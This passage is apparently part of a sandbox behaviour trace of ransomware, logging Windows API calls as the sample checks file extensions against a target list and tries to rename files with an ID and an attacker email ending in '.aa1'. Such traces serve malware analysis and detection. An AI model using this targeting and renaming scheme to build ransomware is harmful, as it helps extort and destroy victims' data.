Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0205.828] lstrlenW (lpString=".jpg") returned 4 [0205.828] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0205.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0205.828] lstrlenW (lpString=".doc") returned 4 [0205.828] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.828] lstrlenW (lpString=".docx") returned 5 [0205.828] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0205.828] lstrlenW (lpString=".pdf") returned 4 [0205.828] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.828] lstrlenW (lpString=".xls") returned 4 [0205.828] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.829] lstrlenW (lpString=".xlsx") returned 5 [0205.829] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0205.829] lstrlenW (lpString=".ppt") returned 4 [0205.829] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0205.829] lstrlenW (lpString=".zip") returned 4 [0205.829] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.829] lstrlenW (lpString=".rar") returned 4 [0205.829] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.829] lstrlenW (lpString=".bz2") returned 4 [0205.829] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.829] lstrlenW (lpString=".7z") returned 3 [0205.829] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0205.829] lstrlenW (lpString=".dbf") returned 4 [0205.829] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0205.829] lstrlenW (lpString=".1cd") returned 4 [0205.829] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0205.830] lstrlenW (lpString=".jpg") returned 4 [0205.830] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.830] lstrcmpiW (lpString1=".dat", lpString2=".aa1") returned 1 [0205.830] lstrlenW (lpString="hwrusash.dat") returned 12 [0205.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0206.135] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4120784) returned 1 [0206.135] CloseHandle (hObject=0x16c) returned 1 [0206.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0206.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0206.135] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[who8@mail.fr].aa1")) returned 0 [0206.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.136] lstrlenW (lpString=".doc") returned 4 [0206.136] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0206.136] lstrlenW (lpString=".docx") returned 5 [0206.136] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0206.136] lstrlenW (lpString=".pdf") returned 4 [0206.136] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0206.136] lstrlenW (lpString=".xls") returned 4 [0206.136] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0206.136] lstrlenW (lpString=".xlsx") returned 5 [0206.136] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0206.136] lstrlenW (lpString=".ppt") returned 4 [0206.136] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0206.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.136] lstrlenW (lpString=".zip") returned 4 [0206.136] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0206.136] lstrlenW (lpString=".rar") returned 4 [0206.137] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0206.137] lstrlenW (lpString=".bz2") returned 4 [0206.137] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0206.137] lstrlenW (lpString=".7z") returned 3 [0206.137] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0206.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.137] lstrlenW (lpString=".dbf") returned 4 [0206.137] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0206.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.137] lstrlenW (lpString=".1cd") returned 4 [0206.137] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0206.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.137] lstrlenW (lpString=".jpg") returned 4 [0206.137] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0206.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.137] lstrlenW (lpString=".doc") returned 4 [0206.137] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0206.137] lstrlenW (lpString=".docx") returned 5 [0206.137] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0206.137] lstrlenW (lpString=".pdf") returned 4 [0206.137] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0206.137] lstrlenW (lpString=".xls") returned 4 [0206.137] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0206.137] lstrlenW (lpString=".xlsx") returned 5 [0206.137] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0206.137] lstrlenW (lpString=".ppt") returned 4 [0206.138] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0206.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.138] lstrlenW (lpString=".zip") returned 4 [0206.138] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0206.138] lstrlenW (lpString=".rar") returned 4 [0206.138] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0206.138] lstrlenW (lpString=".bz2") returned 4 [0206.138] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0206.138] lstrlenW (lpString=".7z") returned 3 [0206.138] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0206.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.138] lstrlenW (lpString=".dbf") returned 4 [0206.138] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0206.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.138] lstrlenW (lpString=".1cd") returned 4 [0206.138] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0206.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.138] lstrlenW (lpString=".jpg") returned 4 [0206.138] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0206.138] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0206.138] lstrlenW (lpString="ipscat.xml") returned 10 [0206.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0206.139] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2592) returned 1 [0206.139] CloseHandle (hObject=0x16c) returned 1 [0206.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0206.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0206.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.139] lstrlenW (lpString=".doc") returned 4 [0206.139] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.139] lstrlenW (lpString=".docx") returned 5 [0206.139] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0206.140] lstrlenW (lpString=".pdf") returned 4 [0206.140] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.140] lstrlenW (lpString=".xls") returned 4 [0206.140] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.140] lstrlenW (lpString=".xlsx") returned 5 [0206.140] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0206.140] lstrlenW (lpString=".ppt") returned 4 [0206.140] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.140] lstrlenW (lpString=".zip") returned 4 [0206.140] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.140] lstrlenW (lpString=".rar") returned 4 [0206.140] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.140] lstrlenW (lpString=".bz2") returned 4 [0206.140] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.140] lstrlenW (lpString=".7z") returned 3 [0206.140] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.140] lstrlenW (lpString=".dbf") returned 4 [0206.140] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.140] lstrlenW (lpString=".1cd") returned 4 [0206.140] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.140] lstrlenW (lpString=".jpg") returned 4 [0206.140] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.141] lstrlenW (lpString=".doc") returned 4 [0206.141] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.141] lstrlenW (lpString=".docx") returned 5 [0206.141] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0206.141] lstrlenW (lpString=".pdf") returned 4 [0206.141] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.141] lstrlenW (lpString=".xls") returned 4 [0206.141] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.141] lstrlenW (lpString=".xlsx") returned 5 [0206.141] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0206.141] lstrlenW (lpString=".ppt") returned 4 [0206.141] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.141] lstrlenW (lpString=".zip") returned 4 [0206.141] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.141] lstrlenW (lpString=".rar") returned 4 [0206.141] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.141] lstrlenW (lpString=".bz2") returned 4 [0206.141] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.141] lstrlenW (lpString=".7z") returned 3 [0206.141] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.141] lstrlenW (lpString=".dbf") returned 4 [0206.141] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.142] lstrlenW (lpString=".1cd") returned 4 [0206.142] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.142] lstrlenW (lpString=".jpg") returned 4 [0206.142] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.142] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0206.142] lstrlenW (lpString="ipschs.xml") returned 10 [0206.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0206.143] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2462) returned 1 [0206.143] CloseHandle (hObject=0x16c) returned 1 [0206.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0206.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0206.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0206.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0206.143] lstrlenW (lpString=".doc") returned 4 [0206.143] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.144] lstrlenW (lpString=".docx") returned 5 [0206.144] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0206.144] lstrlenW (lpString=".pdf") returned 4 [0206.144] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.144] lstrlenW (lpString=".xls") returned 4 [0206.144] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.144] lstrlenW (lpString=".xlsx") returned 5 [0206.144] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0206.144] lstrlenW (lpString=".ppt") returned 4 [0206.144] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0206.144] lstrlenW (lpString=".zip") returned 4 [0206.144] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.144] lstrlenW (lpString=".rar") returned 4 [0206.144] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.144] lstrlenW (lpString=".bz2") returned 4 [0206.144] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.144] lstrlenW (lpString=".7z") returned 3 [0206.145] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0206.145] lstrlenW (lpString=".dbf") returned 4 [0206.145] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0206.145] lstrlenW (lpString=".1cd") returned 4 [0206.145] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0206.145] lstrlenW (lpString=".jpg") returned 4 [0206.145] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0206.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0206.145] lstrlenW (lpString=".doc") returned 4 [0206.145] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.145] lstrlenW (lpString=".docx") returned 5 [0206.146] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0206.146] lstrlenW (lpString=".pdf") returned 4 [0206.146] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.146] lstrlenW (lpString=".xls") returned 4 [0206.146] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.146] lstrlenW (lpString=".xlsx") returned 5 [0206.146] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0206.146] lstrlenW (lpString=".ppt") returned 4 [0206.146] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0206.146] lstrlenW (lpString=".zip") returned 4 [0206.146] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.146] lstrlenW (lpString=".rar") returned 4 [0206.146] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.146] lstrlenW (lpString=".bz2") returned 4 [0206.146] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.146] lstrlenW (lpString=".7z") returned 3 [0206.146] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0206.146] lstrlenW (lpString=".dbf") returned 4 [0206.146] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0206.146] lstrlenW (lpString=".1cd") returned 4 [0206.146] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0206.146] lstrlenW (lpString=".jpg") returned 4 [0206.147] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.147] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0206.147] lstrlenW (lpString="ipscht.xml") returned 10 [0206.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0207.143] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2436) returned 1 [0207.143] CloseHandle (hObject=0x17c) returned 1 [0207.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0207.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.144] lstrlenW (lpString=".doc") returned 4 [0207.144] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.144] lstrlenW (lpString=".docx") returned 5 [0207.144] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0207.144] lstrlenW (lpString=".pdf") returned 4 [0207.144] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.144] lstrlenW (lpString=".xls") returned 4 [0207.144] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.145] lstrlenW (lpString=".xlsx") returned 5 [0207.145] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0207.145] lstrlenW (lpString=".ppt") returned 4 [0207.145] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.145] lstrlenW (lpString=".zip") returned 4 [0207.145] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.145] lstrlenW (lpString=".rar") returned 4 [0207.145] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.145] lstrlenW (lpString=".bz2") returned 4 [0207.145] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.145] lstrlenW (lpString=".7z") returned 3 [0207.145] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.145] lstrlenW (lpString=".dbf") returned 4 [0207.145] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.145] lstrlenW (lpString=".1cd") returned 4 [0207.145] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.145] lstrlenW (lpString=".jpg") returned 4 [0207.145] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.145] lstrlenW (lpString=".doc") returned 4 [0207.146] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.146] lstrlenW (lpString=".docx") returned 5 [0207.146] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0207.146] lstrlenW (lpString=".pdf") returned 4 [0207.146] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.146] lstrlenW (lpString=".xls") returned 4 [0207.146] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.146] lstrlenW (lpString=".xlsx") returned 5 [0207.146] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0207.146] lstrlenW (lpString=".ppt") returned 4 [0207.146] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.146] lstrlenW (lpString=".zip") returned 4 [0207.146] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.146] lstrlenW (lpString=".rar") returned 4 [0207.146] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.146] lstrlenW (lpString=".bz2") returned 4 [0207.146] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.146] lstrlenW (lpString=".7z") returned 3 [0207.146] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.146] lstrlenW (lpString=".dbf") returned 4 [0207.146] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.146] lstrlenW (lpString=".1cd") returned 4 [0207.146] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.147] lstrlenW (lpString=".jpg") returned 4 [0207.147] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.147] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0207.147] lstrlenW (lpString="ipsdeu.xml") returned 10 [0207.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0207.147] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2616) returned 1 [0207.147] CloseHandle (hObject=0x17c) returned 1 [0207.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0207.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 